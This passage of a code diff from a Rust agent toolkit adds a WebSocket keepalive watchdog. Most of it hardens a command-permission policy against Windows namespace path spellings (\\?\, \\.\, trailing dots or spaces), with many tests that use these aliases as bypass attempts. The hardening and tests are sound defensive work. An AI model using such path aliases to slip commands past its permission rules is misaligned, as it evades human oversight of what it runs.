+ noise_outcome = "disconnected", + noise_reason = disconnect_reason.as_str(), + "Noise executor disconnected from rendezvous" + ); + config + .telemetry + .remote_reconnect(disconnect_reason.as_str()); } Err(error) => { let registration_rejected = matches!( @@ -561,7 +569,9 @@ async fn connect_rendezvous( connect_async_with_config( request, Some(noise_relay_websocket_config()), - /*disable_nagle*/ false, + // Rendezvous sends small, latency-sensitive frames, so avoid Nagle's coalescing delay. + /*disable_nagle*/ + true, ) .await .map(|(websocket, _)| websocket) diff --git a/codex-rs/exec-server/src/websocket_pong_watchdog.rs b/codex-rs/exec-server/src/websocket_pong_watchdog.rs new file mode 100644 index 0000000000..b656772b3d --- /dev/null +++ b/codex-rs/exec-server/src/websocket_pong_watchdog.rs @@ -0,0 +1,44 @@ +use std::time::Duration; + +use tokio::time::Instant; + +#[cfg(test)] +pub(crate) const WEBSOCKET_PONG_TIMEOUT: Duration = Duration::from_millis(100); +#[cfg(not(test))] +pub(crate) const WEBSOCKET_PONG_TIMEOUT: Duration = Duration::from_secs(60); +pub(crate) const WEBSOCKET_PONG_TIMEOUT_REASON: &str = "pong_timeout"; + +/// Tracks whether a WebSocket peer has acknowledged a keepalive ping. +pub(crate) struct WebSocketPongWatchdog { + timeout: Duration, + deadline: Option, +} + +impl WebSocketPongWatchdog { + pub(crate) fn new(timeout: Duration) -> Self { + Self { + timeout, + deadline: None, + } + } + + pub(crate) fn ping_sent(&mut self, now: Instant) { + self.deadline.get_or_insert(now + self.timeout); + } + + pub(crate) fn deadline(&self) -> Option { + self.deadline + } + + pub(crate) fn write_deadline(&self, now: Instant) -> Instant { + self.deadline.unwrap_or(now + self.timeout) + } + + pub(crate) fn received_pong(&mut self) { + self.deadline = None; + } +} + +#[cfg(test)] +#[path = "websocket_pong_watchdog_tests.rs"] +mod tests; diff --git a/codex-rs/exec-server/src/websocket_pong_watchdog_tests.rs b/codex-rs/exec-server/src/websocket_pong_watchdog_tests.rs new file mode 100644 index 0000000000..2b15a0d952 --- /dev/null +++ b/codex-rs/exec-server/src/websocket_pong_watchdog_tests.rs @@ -0,0 +1,34 @@ +use std::time::Duration; + +use pretty_assertions::assert_eq; +use tokio::time::Instant; + +use super::WebSocketPongWatchdog; + +#[test] +fn repeated_ping_does_not_extend_deadline() { + let started_at = Instant::now(); + let timeout = Duration::from_secs(2); + let mut watchdog = WebSocketPongWatchdog::new(timeout); + + watchdog.ping_sent(started_at); + watchdog.ping_sent(started_at + Duration::from_secs(1)); + assert_eq!( + watchdog.write_deadline(started_at + Duration::from_secs(1)), + started_at + timeout + ); + assert_eq!(watchdog.deadline(), Some(started_at + timeout)); +} + +#[test] +fn pong_starts_a_fresh_deadline() { + let started_at = Instant::now(); + let timeout = Duration::from_secs(2); + let mut watchdog = WebSocketPongWatchdog::new(timeout); + + watchdog.ping_sent(started_at); + watchdog.received_pong(); + assert_eq!(watchdog.deadline(), None); + watchdog.ping_sent(started_at + timeout); + assert_eq!(watchdog.deadline(), Some(started_at + timeout + timeout)); +} diff --git a/codex-rs/execpolicy/README.md b/codex-rs/execpolicy/README.md index 5d1179362b..77c986f0fb 100644 --- a/codex-rs/execpolicy/README.md +++ b/codex-rs/execpolicy/README.md @@ -43,6 +43,8 @@ host_executable( - With host-executable resolution enabled, if no exact rule matches, execpolicy may fall back from `/usr/bin/git` to basename rules for `git`. - If `host_executable(name="git", ...)` exists, basename fallback is only allowed for listed absolute paths. - If no `host_executable()` entry exists for a basename, basename fallback is allowed. + - Windows verbatim/device namespace paths cannot be listed by `host_executable`; use an ordinary absolute spelling or an exact prefix rule. If either a namespace command's literal basename or its ordinary normalized alias has host-executable metadata, the namespace spelling does not inherit basename rules. With no corresponding metadata, its literal basename rule may still match. Exact full-path rules always retain their authored decision. + - The library's restrictive basename overlay is separate from ordinary fallback: it ignores host-executable path lists for `prompt` and `forbidden`, but always discards basename `allow`. ## CLI diff --git a/codex-rs/execpolicy/src/executable_name.rs b/codex-rs/execpolicy/src/executable_name.rs index bb3e8a536c..ce18723a1b 100644 --- a/codex-rs/execpolicy/src/executable_name.rs +++ b/codex-rs/execpolicy/src/executable_name.rs @@ -1,4 +1,8 @@ +#[cfg(windows)] +use std::path::Component; use std::path::Path; +#[cfg(windows)] +use std::path::Prefix; #[cfg(windows)] const WINDOWS_EXECUTABLE_SUFFIXES: [&str; 4] = [".exe", ".cmd", ".bat", ".com"]; @@ -6,14 +10,7 @@ const WINDOWS_EXECUTABLE_SUFFIXES: [&str; 4] = [".exe", ".cmd", ".bat", ".com"]; pub(crate) fn executable_lookup_key(raw: &str) -> String { #[cfg(windows)] { - let raw = raw.to_ascii_lowercase(); - for suffix in WINDOWS_EXECUTABLE_SUFFIXES { - if raw.ends_with(suffix) { - let stripped_len = raw.len() - suffix.len(); - return raw[..stripped_len].to_string(); - } - } - raw + executable_lookup_key_windows(raw) } #[cfg(not(windows))] @@ -23,7 +20,54 @@ pub(crate) fn executable_lookup_key(raw: &str) -> String { } pub(crate) fn executable_path_lookup_key(path: &Path) -> Option { - path.file_name() - .and_then(|name| name.to_str()) - .map(executable_lookup_key) + let raw = path.file_name()?.to_str()?; + + #[cfg(windows)] + { + if has_windows_verbatim_or_device_prefix(path) { + Some(executable_literal_lookup_key_windows(raw)) + } else { + Some(executable_lookup_key_windows(raw)) + } + } + + #[cfg(not(windows))] + { + Some(executable_lookup_key(raw)) + } } + +#[cfg(windows)] +fn executable_lookup_key_windows(raw: &str) -> String { + executable_literal_lookup_key_windows(raw.trim_end_matches([' ', '.'])) +} + +#[cfg(windows)] +fn executable_literal_lookup_key_windows(raw: &str) -> String { + let raw = raw.to_ascii_lowercase(); + for suffix in WINDOWS_EXECUTABLE_SUFFIXES { + if let Some(raw) = raw.strip_suffix(suffix) { + return raw.to_string(); + } + } + raw +} + +#[cfg(windows)] +pub(crate) fn has_windows_verbatim_or_device_prefix(path: &Path) -> bool { + matches!( + path.components().next(), + Some(Component::Prefix(prefix)) + if matches!( + prefix.kind(), + Prefix::Verbatim(_) + | Prefix::VerbatimUNC(_, _) + | Prefix::VerbatimDisk(_) + | Prefix::DeviceNS(_) + ) + ) +} + +#[cfg(all(test, windows))] +#[path = "executable_name_tests.rs"] +mod tests; diff --git a/codex-rs/execpolicy/src/executable_name_tests.rs b/codex-rs/execpolicy/src/executable_name_tests.rs new file mode 100644 index 0000000000..5e24036044 --- /dev/null +++ b/codex-rs/execpolicy/src/executable_name_tests.rs @@ -0,0 +1,41 @@ +use super::*; +use pretty_assertions::assert_eq; + +#[test] +fn windows_executable_lookup_key_matrix() { + let cases = [ + (r"C:\workspace\Git.ExE.", "git", false), + (r"C:\workspace\git.exe ", "git", false), + (r"\\server\share\git.exe.", "git", false), + (r"\\server\share\git.exe ", "git", false), + (r"\\?\C:\workspace\git.exe", "git", true), + (r"\\?\C:\workspace\git.exe.", "git.exe.", true), + (r"\\?\C:\workspace\git.exe ", "git.exe ", true), + (r"\\?\UNC\server\share\git.exe", "git", true), + (r"\\?\UNC\server\share\git.exe.", "git.exe.", true), + (r"\\?\UNC\server\share\git.exe ", "git.exe ", true), + (r"\\.\C:\workspace\git.exe", "git", true), + (r"\\.\C:\workspace\git.exe.", "git.exe.", true), + (r"\\.\C:\workspace\git.exe ", "git.exe ", true), + (r"\\.\UNC\server\share\git.exe", "git", true), + (r"\\.\UNC\server\share\git.exe.", "git.exe.", true), + (r"\\.\UNC\server\share\git.exe ", "git.exe ", true), + ]; + + for (raw_path, expected_key, namespace) in cases { + let path = Path::new(raw_path); + assert_eq!( + ( + executable_path_lookup_key(path).as_deref(), + has_windows_verbatim_or_device_prefix(path), + ), + (Some(expected_key), namespace), + "{}", + raw_path + ); + } + + for alias in ["powershell.exe.", "powershell.exe ", "PowerShell.ExE. . "] { + assert_eq!(executable_lookup_key(alias), "powershell", "{alias}"); + } +} diff --git a/codex-rs/execpolicy/src/parser.rs b/codex-rs/execpolicy/src/parser.rs index 33262db1b3..930cbca168 100644 --- a/codex-rs/execpolicy/src/parser.rs +++ b/codex-rs/execpolicy/src/parser.rs @@ -26,6 +26,8 @@ use crate::error::TextPosition; use crate::error::TextRange; use crate::executable_name::executable_lookup_key; use crate::executable_name::executable_path_lookup_key; +#[cfg(windows)] +use crate::executable_name::has_windows_verbatim_or_device_prefix; use crate::rule::NetworkRule; use crate::rule::NetworkRuleProtocol; use crate::rule::PatternToken; @@ -449,8 +451,14 @@ fn policy_builtins(builder: &mut GlobalsBuilder) { value.get_type() )) })?; - let path = parse_literal_absolute_path(raw)?; - let Some(path_name) = executable_path_lookup_key(path.as_path()) else { + #[cfg(windows)] + if has_windows_verbatim_or_device_prefix(Path::new(raw)) { + return Err(Error::InvalidRule(format!( + "host_executable path `{raw}` must use an ordinary Win32 path spelling; use an exact prefix_rule for namespace paths" + )) + .into()); + } + let Some(path_name) = executable_path_lookup_key(Path::new(raw)) else { return Err(Error::InvalidRule(format!( "host_executable path `{raw}` must have basename `{name}`" )) @@ -462,6 +470,7 @@ fn policy_builtins(builder: &mut GlobalsBuilder) { )) .into()); } + let path = parse_literal_absolute_path(raw)?; if !parsed_paths.iter().any(|existing| existing == &path) { parsed_paths.push(path); } diff --git a/codex-rs/execpolicy/src/policy.rs b/codex-rs/execpolicy/src/policy.rs index 3102264e39..dd0c86a5d4 100644 --- a/codex-rs/execpolicy/src/policy.rs +++ b/codex-rs/execpolicy/src/policy.rs @@ -1,7 +1,10 @@ use crate::decision::Decision; use crate::error::Error; use crate::error::Result; +use crate::executable_name::executable_lookup_key; use crate::executable_name::executable_path_lookup_key; +#[cfg(windows)] +use crate::executable_name::has_windows_verbatim_or_device_prefix; use crate::rule::NetworkRule; use crate::rule::NetworkRuleProtocol; use crate::rule::PatternToken; @@ -15,6 +18,7 @@ use multimap::MultiMap; use serde::Deserialize; use serde::Serialize; use std::collections::HashMap; +use std::path::Path; use std::sync::Arc; type HeuristicsFallback<'a> = Option<&'a dyn Fn(&[String]) -> Decision>; @@ -294,6 +298,37 @@ impl Policy { } } + /// Returns exact matches plus lexical basename `Prompt` and `Forbidden` + /// matches. Basename `Allow` matches are always discarded. + /// + /// Unlike ordinary host-executable resolution, restrictive basename + /// matching intentionally ignores `host_executable` path allowlists so an + /// unlisted or relative executable cannot escape an authored restriction. + /// Exact matches, including exact `Allow` rules, retain their meaning. + pub fn matches_for_command_with_restrictive_host_rules( + &self, + cmd: &[String], + heuristics_fallback: HeuristicsFallback<'_>, + ) -> Vec { + let mut matched_rules = self.match_exact_rules(cmd).unwrap_or_default(); + for rule_match in self.match_restrictive_basename_rules(cmd) { + if !matched_rules.contains(&rule_match) { + matched_rules.push(rule_match); + } + } + + if matched_rules.is_empty() + && let Some(heuristics_fallback) = heuristics_fallback + { + vec![RuleMatch::HeuristicsRuleMatch { + command: cmd.to_vec(), + decision: heuristics_fallback(cmd), + }] + } else { + matched_rules + } + } + fn match_exact_rules(&self, cmd: &[String]) -> Option> { let first = cmd.first()?; Some( @@ -308,10 +343,28 @@ impl Policy { let Some(first) = cmd.first() else { return Vec::new(); }; - let Ok(program) = AbsolutePathBuf::try_from(first.clone()) else { + let raw_path = Path::new(first); + let Some(basename) = executable_path_lookup_key(raw_path) else { return Vec::new(); }; - let Some(basename) = executable_path_lookup_key(program.as_path()) else { + #[cfg(windows)] + let namespace_path = has_windows_verbatim_or_device_prefix(raw_path); + #[cfg(not(windows))] + let namespace_path = false; + if namespace_path { + let Some(raw_basename) = raw_path.file_name().and_then(|name| name.to_str()) else { + return Vec::new(); + }; + let normalized_basename = executable_lookup_key(raw_basename); + if self.host_executables_by_name.contains_key(&basename) + || self + .host_executables_by_name + .contains_key(&normalized_basename) + { + return Vec::new(); + } + } + let Ok(program) = AbsolutePathBuf::try_from(first.clone()) else { return Vec::new(); }; let Some(rules) = self.rules_by_program.get_vec(&basename) else { @@ -329,7 +382,74 @@ impl Policy { rules .iter() .filter_map(|rule| rule.matches(&basename_command)) - .map(|rule_match| rule_match.with_resolved_program(&program)) + .map(|rule_match| { + if namespace_path { + rule_match + } else { + rule_match.with_resolved_program(&program) + } + }) + .collect() + } + + fn match_restrictive_basename_rules(&self, cmd: &[String]) -> Vec { + let Some(first) = cmd.first() else { + return Vec::new(); + }; + let path = Path::new(first); + let Some(path_key) = executable_path_lookup_key(path) else { + return Vec::new(); + }; + let Some(raw_basename) = path.file_name().and_then(|name| name.to_str()) else { + return Vec::new(); + }; + + #[cfg(windows)] + let normalized_raw_basename = raw_basename + .trim_end_matches([' ', '.']) + .to_ascii_lowercase(); + #[cfg(not(windows))] + let normalized_raw_basename = raw_basename.to_string(); + #[cfg(windows)] + let raw_basename = raw_basename.to_ascii_lowercase(); + #[cfg(not(windows))] + let raw_basename = raw_basename.to_string(); + + let mut basenames = vec![path_key, executable_lookup_key(&raw_basename)]; + basenames.dedup(); + for basename in [normalized_raw_basename, raw_basename] { + if !basenames.contains(&basename) { + basenames.push(basename); + } + } + + #[cfg(windows)] + let namespace_path = has_windows_verbatim_or_device_prefix(path); + #[cfg(not(windows))] + let namespace_path = false; + let resolved_program = (!namespace_path && path.is_absolute()) + .then(|| AbsolutePathBuf::try_from(first.clone()).ok()) + .flatten(); + + basenames + .into_iter() + .flat_map(|basename| { + let Some(rules) = self.rules_by_program.get_vec(&basename) else { + return Vec::new(); + }; + let basename_command = std::iter::once(basename) + .chain(cmd.iter().skip(1).cloned()) + .collect::>(); + rules + .iter() + .filter_map(|rule| rule.matches(&basename_command)) + .filter(|rule_match| rule_match.decision() != Decision::Allow) + .map(|rule_match| match resolved_program.as_ref() { + Some(program) => rule_match.with_resolved_program(program), + None => rule_match, + }) + .collect::>() + }) .collect() } } diff --git a/codex-rs/execpolicy/tests/basic.rs b/codex-rs/execpolicy/tests/basic.rs index f6a86adb27..f97fa6fc29 100644 --- a/codex-rs/execpolicy/tests/basic.rs +++ b/codex-rs/execpolicy/tests/basic.rs @@ -63,6 +63,12 @@ fn starlark_string(value: &str) -> String { value.replace('\\', "\\\\").replace('"', "\\\"") } +fn parse_policy(policy_src: &str) -> Result { + let mut parser = PolicyParser::new(); + parser.parse("test.rules", policy_src)?; + Ok(parser.build()) +} + #[derive(Clone, Debug, Eq, PartialEq)] enum RuleSnapshot { Prefix(PrefixRule), @@ -961,3 +967,538 @@ host_executable(name = "git", paths = ["{git_path_literal}"]) ); Ok(()) } + +#[test] +fn restrictive_host_rules_overlay_exact_matches_and_filter_basename_allow() -> Result<()> { + let git_name = host_executable_name("git"); + let git_path = host_absolute_path(&["usr", "bin", &git_name]); + let git_literal = starlark_string(&git_path); + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["{git_literal}"], decision = "allow") +prefix_rule(pattern = ["git"], decision = "forbidden") +host_executable(name = "git", paths = ["{git_literal}"]) +"#, + ))?; + + assert_eq!( + policy.matches_for_command_with_restrictive_host_rules( + &[git_path.clone(), "status".to_string()], + Some(&prompt_all), + ), + vec![ + RuleMatch::PrefixRuleMatch { + matched_prefix: vec![git_path.clone()], + decision: Decision::Allow, + resolved_program: None, + justification: None, + }, + RuleMatch::PrefixRuleMatch { + matched_prefix: tokens(&["git"]), + decision: Decision::Forbidden, + resolved_program: Some(absolute_path(&git_path)), + justification: None, + }, + ] + ); + + let policy = parse_policy(r#"prefix_rule(pattern = ["git"], decision = "allow")"#)?; + assert_eq!( + policy.matches_for_command_with_restrictive_host_rules( + &[git_path.clone(), "status".to_string()], + Some(&prompt_all), + ), + vec![RuleMatch::HeuristicsRuleMatch { + command: vec![git_path, "status".to_string()], + decision: Decision::Prompt, + }] + ); + Ok(()) +} + +#[test] +fn restrictive_host_rules_apply_to_relative_and_unlisted_paths() -> Result<()> { + let git_name = host_executable_name("git"); + let listed_git = host_absolute_path(&["usr", "bin", &git_name]); + let unlisted_git = host_absolute_path(&["opt", "bin", &git_name]); + let relative_git = PathBuf::from("tools") + .join(&git_name) + .to_string_lossy() + .into_owned(); + let listed_literal = starlark_string(&listed_git); + + for (wire_decision, decision) in [ + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["git"], decision = "{wire_decision}", justification = "review git") +host_executable(name = "git", paths = ["{listed_literal}"]) +"#, + ))?; + for (executable, resolved_program) in [ + (unlisted_git.clone(), Some(absolute_path(&unlisted_git))), + (relative_git.clone(), None), + ] { + assert_eq!( + policy.matches_for_command_with_restrictive_host_rules( + &[executable, "status".to_string()], + Some(&allow_all), + ), + vec![RuleMatch::PrefixRuleMatch { + matched_prefix: tokens(&["git"]), + decision, + resolved_program, + justification: Some("review git".to_string()), + }], + "{wire_decision}" + ); + } + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn host_executable_rejects_namespace_paths() { + for raw_path in [ + r"\\?\C:\workspace\git.exe", + r"\\?\C:\workspace\git.exe.", + r"\\?\C:\workspace\git.exe ", + r"\\?\UNC\server\share\git.exe", + r"\\?\UNC\server\share\git.exe.", + r"\\?\UNC\server\share\git.exe ", + r"\\.\C:\workspace\git.exe", + r"\\.\C:\workspace\git.exe.", + r"\\.\C:\workspace\git.exe ", + r"\\.\UNC\server\share\git.exe", + r"\\.\UNC\server\share\git.exe.", + r"\\.\UNC\server\share\git.exe ", + ] { + let policy_src = format!( + r#"host_executable(name = "git", paths = ["{}"] )"#, + starlark_string(raw_path) + ); + let error = parse_policy(&policy_src) + .expect_err("namespace host-executable path should be rejected"); + assert!( + error + .to_string() + .contains("must use an ordinary Win32 path spelling"), + "{raw_path}: {error}" + ); + } +} + +#[cfg(windows)] +#[test] +fn namespace_argv_does_not_inherit_host_executable_allowlist() -> Result<()> { + let ordinary_git = r"C:\workspace\git.exe"; + let namespace_git = r"\\?\C:\workspace\git.exe"; + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["git"], decision = "allow") +host_executable(name = "git", paths = ["{}"]) +"#, + starlark_string(ordinary_git) + ))?; + + let command = vec![namespace_git.to_string(), "status".to_string()]; + assert_eq!( + policy.check_with_options( + &command, + &prompt_all, + &MatchOptions { + resolve_host_executables: true, + }, + ), + Evaluation { + decision: Decision::Prompt, + matched_rules: vec![RuleMatch::HeuristicsRuleMatch { + command, + decision: Decision::Prompt, + }], + } + ); + Ok(()) +} + +#[cfg(windows)] +#[test] +fn namespace_literal_aliases_do_not_bypass_equivalent_host_mapping() -> Result<()> { + let options = MatchOptions { + resolve_host_executables: true, + }; + + for executable_suffix in [".exe", ".cmd", ".bat", ".com"] { + for literal_tail in [".", " ", "...", " ", ". . ", ".. . "] { + let mixed_case = executable_suffix == ".com" && literal_tail == ".. . "; + let raw_stem = if mixed_case { "GiT" } else { "git" }; + let raw_suffix = if mixed_case { + ".CoM" + } else { + executable_suffix + }; + let raw_literal_name = format!("{raw_stem}{raw_suffix}{literal_tail}"); + let literal_rule_key = raw_literal_name.to_ascii_lowercase(); + let ordinary_name = format!("git{executable_suffix}"); + let trusted_path = format!(r"C:\trusted\{ordinary_name}"); + let mapping_sources = [ + format!( + r#"host_executable(name = "git", paths = ["{}"] )"#, + starlark_string(&trusted_path) + ), + format!( + r#"host_executable(name = "{ordinary_name}", paths = ["{}"] )"#, + starlark_string(&trusted_path) + ), + format!(r#"host_executable(name = "{literal_rule_key}", paths = [])"#), + format!(r#"host_executable(name = "{raw_literal_name}", paths = [])"#), + ]; + let namespace_paths = [ + format!(r"\\?\C:\attacker\{raw_literal_name}"), + format!(r"\\?\UNC\server\share\{raw_literal_name}"), + format!(r"\\.\C:\attacker\{raw_literal_name}"), + format!(r"\\.\UNC\server\share\{raw_literal_name}"), + ]; + + for mapping_source in mapping_sources { + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["{literal_rule_key}"], decision = "allow") +{mapping_source} +"# + ))?; + for executable in &namespace_paths { + assert!( + policy + .matches_for_command_with_options( + &[executable.clone(), "status".to_string()], + None, + &options, + ) + .is_empty(), + "suffix={executable_suffix:?} tail={literal_tail:?} mapping={mapping_source:?} executable={executable:?}" + ); + } + } + } + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn unmapped_namespace_literal_rules_preserve_authored_decisions() -> Result<()> { + let raw_literal_name = "GiT.ExE. . "; + let literal_rule_key = raw_literal_name.to_ascii_lowercase(); + let namespace_paths = [ + format!(r"\\?\C:\attacker\{raw_literal_name}"), + format!(r"\\?\UNC\server\share\{raw_literal_name}"), + format!(r"\\.\C:\attacker\{raw_literal_name}"), + format!(r"\\.\UNC\server\share\{raw_literal_name}"), + ]; + let unrelated_mapping = format!( + r#"host_executable(name = "rg", paths = ["{}"] )"#, + starlark_string(r"C:\trusted\rg.exe") + ); + let options = MatchOptions { + resolve_host_executables: true, + }; + + for mapping_source in [String::new(), unrelated_mapping] { + for (wire_decision, decision) in [ + ("allow", Decision::Allow), + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["{literal_rule_key}"], decision = "{wire_decision}") +{mapping_source} +"# + ))?; + for executable in &namespace_paths { + assert_eq!( + policy.matches_for_command_with_options( + &[executable.clone(), "status".to_string()], + None, + &options, + ), + vec![RuleMatch::PrefixRuleMatch { + matched_prefix: vec![literal_rule_key.clone()], + decision, + resolved_program: None, + justification: None, + }], + "{mapping_source:?}/{wire_decision}: {executable:?}" + ); + } + } + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn exact_namespace_rules_precede_equivalent_host_mapping() -> Result<()> { + let namespace_path = r"\\?\C:\attacker\git.exe."; + let trusted_path = starlark_string(r"C:\trusted\git.exe"); + let options = MatchOptions { + resolve_host_executables: true, + }; + + for (wire_decision, decision) in [ + ("allow", Decision::Allow), + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["{}"], decision = "{wire_decision}") +prefix_rule(pattern = ["git.exe."], decision = "forbidden") +host_executable(name = "git", paths = ["{trusted_path}"]) +"#, + starlark_string(namespace_path) + ))?; + + assert_eq!( + policy.matches_for_command_with_options( + &[namespace_path.to_string(), "status".to_string()], + None, + &options, + ), + vec![RuleMatch::PrefixRuleMatch { + matched_prefix: vec![namespace_path.to_string()], + decision, + resolved_program: None, + justification: None, + }], + "{wire_decision}" + ); + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn mapped_namespace_literal_restrictions_stay_in_restrictive_overlay() -> Result<()> { + let namespace_path = r"\\?\C:\attacker\git.exe."; + let trusted_path = starlark_string(r"C:\trusted\git.exe"); + + for (wire_decision, decision) in [ + ("allow", Decision::Allow), + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#" +prefix_rule(pattern = ["git.exe."], decision = "{wire_decision}") +host_executable(name = "git", paths = ["{trusted_path}"]) +"# + ))?; + let command = vec![namespace_path.to_string(), "status".to_string()]; + let expected = if decision == Decision::Allow { + RuleMatch::HeuristicsRuleMatch { + command, + decision: Decision::Prompt, + } + } else { + RuleMatch::PrefixRuleMatch { + matched_prefix: tokens(&["git.exe."]), + decision, + resolved_program: None, + justification: None, + } + }; + + assert_eq!( + policy.matches_for_command_with_restrictive_host_rules( + &[namespace_path.to_string(), "status".to_string()], + Some(&prompt_all), + ), + vec![expected], + "{wire_decision}" + ); + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn windows_namespace_host_resolution_matrix() -> Result<()> { + let ordinary_paths = [ + r"C:\workspace\git.exe.", + r"C:\workspace\git.exe ", + r"\\server\share\git.exe.", + r"\\server\share\git.exe ", + ]; + let namespace_paths = [ + r"\\?\C:\workspace\git.exe.", + r"\\?\C:\workspace\git.exe ", + r"\\?\UNC\server\share\git.exe.", + r"\\?\UNC\server\share\git.exe ", + r"\\.\C:\workspace\git.exe.", + r"\\.\C:\workspace\git.exe ", + r"\\.\UNC\server\share\git.exe.", + r"\\.\UNC\server\share\git.exe ", + ]; + let namespace_controls = [ + r"\\?\C:\workspace\git.exe", + r"\\?\UNC\server\share\git.exe", + r"\\.\C:\workspace\git.exe", + r"\\.\UNC\server\share\git.exe", + ]; + let options = MatchOptions { + resolve_host_executables: true, + }; + + for (wire_decision, decision) in [ + ("allow", Decision::Allow), + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#"prefix_rule(pattern = ["git"], decision = "{wire_decision}")"# + ))?; + for executable in ordinary_paths { + assert_eq!( + policy.check_with_options( + &[executable.to_string(), "status".to_string()], + &prompt_all, + &options, + ), + Evaluation { + decision, + matched_rules: vec![RuleMatch::PrefixRuleMatch { + matched_prefix: tokens(&["git"]), + decision, + resolved_program: Some(absolute_path(executable)), + justification: None, + }], + }, + "{wire_decision}: {executable}" + ); + } + for executable in namespace_controls { + assert_eq!( + policy.check_with_options( + &[executable.to_string(), "status".to_string()], + &prompt_all, + &options, + ), + Evaluation { + decision, + matched_rules: vec![RuleMatch::PrefixRuleMatch { + matched_prefix: tokens(&["git"]), + decision, + resolved_program: None, + justification: None, + }], + }, + "{wire_decision}: {executable}" + ); + } + for executable in namespace_paths { + let command = vec![executable.to_string(), "status".to_string()]; + assert_eq!( + policy.check_with_options(&command, &prompt_all, &options), + Evaluation { + decision: Decision::Prompt, + matched_rules: vec![RuleMatch::HeuristicsRuleMatch { + command, + decision: Decision::Prompt, + }], + }, + "{wire_decision}: {executable}" + ); + } + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn restrictive_namespace_rules_filter_allow_and_preserve_restrictions() -> Result<()> { + let namespace_paths = [ + r"\\?\C:\workspace\git.exe.", + r"\\?\C:\workspace\git.exe ", + r"\\?\UNC\server\share\git.exe.", + r"\\?\UNC\server\share\git.exe ", + r"\\.\C:\workspace\git.exe.", + r"\\.\C:\workspace\git.exe ", + r"\\.\UNC\server\share\git.exe.", + r"\\.\UNC\server\share\git.exe ", + ]; + + for rule_head in ["git", "git.exe"] { + for (wire_decision, decision) in [ + ("allow", Decision::Allow), + ("prompt", Decision::Prompt), + ("forbidden", Decision::Forbidden), + ] { + let policy = parse_policy(&format!( + r#"prefix_rule(pattern = ["{rule_head}"], decision = "{wire_decision}")"# + ))?; + for executable in namespace_paths { + let command = vec![executable.to_string(), "status".to_string()]; + let expected = if decision == Decision::Allow { + RuleMatch::HeuristicsRuleMatch { + command, + decision: Decision::Prompt, + } + } else { + RuleMatch::PrefixRuleMatch { + matched_prefix: vec![rule_head.to_string()], + decision, + resolved_program: None, + justification: None, + } + }; + assert_eq!( + policy.matches_for_command_with_restrictive_host_rules( + &[executable.to_string(), "status".to_string()], + Some(&prompt_all), + ), + vec![expected], + "{rule_head}/{wire_decision}: {executable}" + ); + } + } + } + Ok(()) +} + +#[cfg(windows)] +#[test] +fn native_windows_verbatim_trailing_literal_is_distinct_from_ordinary_alias() -> Result<()> { + let temp_dir = tempdir().context("create Windows namespace test directory")?; + let ordinary = temp_dir.path().join("git.exe"); + fs::write(&ordinary, b"ordinary")?; + let current_test_exe = std::env::current_exe().context("locate current test executable")?; + let current_test_exe_len = fs::metadata(¤t_test_exe)?.len(); + let temp_dir_text = temp_dir.path().to_string_lossy(); + let verbatim_root = temp_dir_text.strip_prefix(r"\\?\").map_or_else( + || format!(r"\\?\{temp_dir_text}"), + |path| format!(r"\\?\{path}"), + ); + + for literal_name in ["git.exe.", "git.exe "] { + let verbatim_literal = PathBuf::from(&verbatim_root).join(literal_name); + fs::copy(¤t_test_exe, &verbatim_literal)?; + assert_eq!(fs::read(temp_dir.path().join(literal_name))?, b"ordinary"); + assert_eq!(fs::metadata(&verbatim_literal)?.len(), current_test_exe_len); + let output = std::process::Command::new(&verbatim_literal) + .arg("--list") + .output() + .with_context(|| format!("launch literal namespace executable {literal_name:?}"))?; + fs::remove_file(&verbatim_literal)?; + assert!( + output.status.success(), + "literal namespace executable {literal_name:?} failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + } + Ok(()) +} diff --git a/codex-rs/features/src/feature_configs.rs b/codex-rs/features/src/feature_configs.rs index 9fc5df2d59..0100dc1d83 100644 --- a/codex-rs/features/src/feature_configs.rs +++ b/codex-rs/features/src/feature_configs.rs @@ -56,6 +56,8 @@ pub struct MultiAgentV2ConfigToml { #[serde(skip_serializing_if = "Option::is_none")] pub subagent_usage_hint_text: Option, #[serde(skip_serializing_if = "Option::is_none")] + pub multi_agent_mode_hint_text: Option, + #[serde(skip_serializing_if = "Option::is_none")] #[schemars(length(min = 1, max = 64), regex(pattern = r"^[a-zA-Z0-9_-]+$"))] pub tool_namespace: Option, #[serde(skip_serializing_if = "Option::is_none")] diff --git a/codex-rs/features/src/tests.rs b/codex-rs/features/src/tests.rs index 69fd59e13a..13abd9ecd2 100644 --- a/codex-rs/features/src/tests.rs +++ b/codex-rs/features/src/tests.rs @@ -610,6 +610,7 @@ usage_hint_enabled = false usage_hint_text = "Custom delegation guidance." root_agent_usage_hint_text = "Root guidance." subagent_usage_hint_text = "Subagent guidance." +multi_agent_mode_hint_text = "Custom mode guidance." tool_namespace = "agents" hide_spawn_agent_metadata = true non_code_mode_only = true @@ -633,6 +634,7 @@ non_code_mode_only = true usage_hint_text: Some("Custom delegation guidance.".to_string()), root_agent_usage_hint_text: Some("Root guidance.".to_string()), subagent_usage_hint_text: Some("Subagent guidance.".to_string()), + multi_agent_mode_hint_text: Some("Custom mode guidance.".to_string()), tool_namespace: Some("agents".to_string()), hide_spawn_agent_metadata: Some(true), non_code_mode_only: Some(true), diff --git a/codex-rs/mcp-server/src/codex_tool_runner.rs b/codex-rs/mcp-server/src/codex_tool_runner.rs index cbc113ff79..0202ccb526 100644 --- a/codex-rs/mcp-server/src/codex_tool_runner.rs +++ b/codex-rs/mcp-server/src/codex_tool_runner.rs 